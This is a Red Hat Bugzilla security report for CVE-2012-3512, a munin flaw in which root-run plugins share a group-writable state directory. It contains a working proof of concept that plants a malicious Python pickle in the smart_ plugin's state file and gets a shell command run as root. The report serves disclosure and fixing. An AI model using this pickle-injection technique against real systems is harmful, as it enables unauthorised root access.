Bug 849830 (CVE-2012-3512) - CVE-2012-3512 munin: insecure state file handling, munin->root privilege
Summary: CVE-2012-3512 munin: insecure state file handling, munin->root privilege
Alias: CVE-2012-3512
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
Depends On: 849831 849834 849836
TreeView+ depends on / blocked
Reported: 2012-08-21 05:09 UTC by Kurt Seifried
Modified: 2019-09-29 12:55 UTC (History)
4 users (show)

Fixed In Version: munin 2.0.6
Doc Type: Bug Fix
Doc Text:
Clone Of:
Last Closed: 2012-11-29 23:02:38 UTC

Attachments (Terms of Use)

Description Kurt Seifried 2012-08-21 05:09:46 UTC
Stevie Trujillo <stevie.trujillo> reports:

Package: munin-plugins-core
Version: 1.4.5-3
Severity: grave
Tags: upstream security
X-Debbugs-CC: helmut

Hello, copying kenyon's report from
http://www.munin-monitoring.org/ticket/1234 :

Currently, plugins which run as root mix their state files in the same
directory as non-root plugins. The state directory is owned by
munin:munin and is group-writable. Because of these facts, it is
possible for an attacker who operates as user munin to cause a
root-run plugin to run arbitrary code as root.

A proof-of-concept example is the smart_ plugin. It must run as root
to access disk SMART data. It also stores state in Python pickle
format, which can store executable Python code. Example follows:

# su -s /bin/sh -c /bin/sh munin
$ cd /var/lib/munin/plugin-state
$ mv smart-sda.state smart-sda.state.orig
$ cat bla.py
import pickle
import subprocess
import sys

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh', '-c', 'id > /tmp/whoami'),))

pickle.dump(RunBinSh(), sys.stdout)
$ python bla.py > smart-sda.state
# wait for node to run smart_ plugin
$ cat /tmp/whoami
uid=0(root) gid=110(munin) groups=0(root),110(munin)

A possible solution is to have a directory dedicated to each plugin,
especially plugins which may run with superuser privileges, so that
less-privileged users cannot modify their state files. This cannot be
enforced by munin on all plugins, but this can be enforced by munin
developers for plugins shipped with the munin package. We should
consider making it easy for plugin writers to do this, maybe by making
the perl/bourne shell/other language munin plugin API use a dedicated
plugin state directory for each plugin. Otherwise, a plugin could be
hardcoded to create and use a subdirectory of the existing
plugin-state directory.

Thanks to "cnu" on the munin IRC channel for raising this issue and
providing the smart_ example.

Comment 1 Kurt Seifried 2012-08-21 05:14:04 UTC
Created munin tracking bugs for this issue

Affects: fedora-all [bug 849834]

Comment 2 Kurt Seifried 2012-08-21 05:15:00 UTC
Created munin tracking bugs for this issue

Affects: epel-all [bug 849836]

Note You need to log in before you can comment on or make changes to this bug.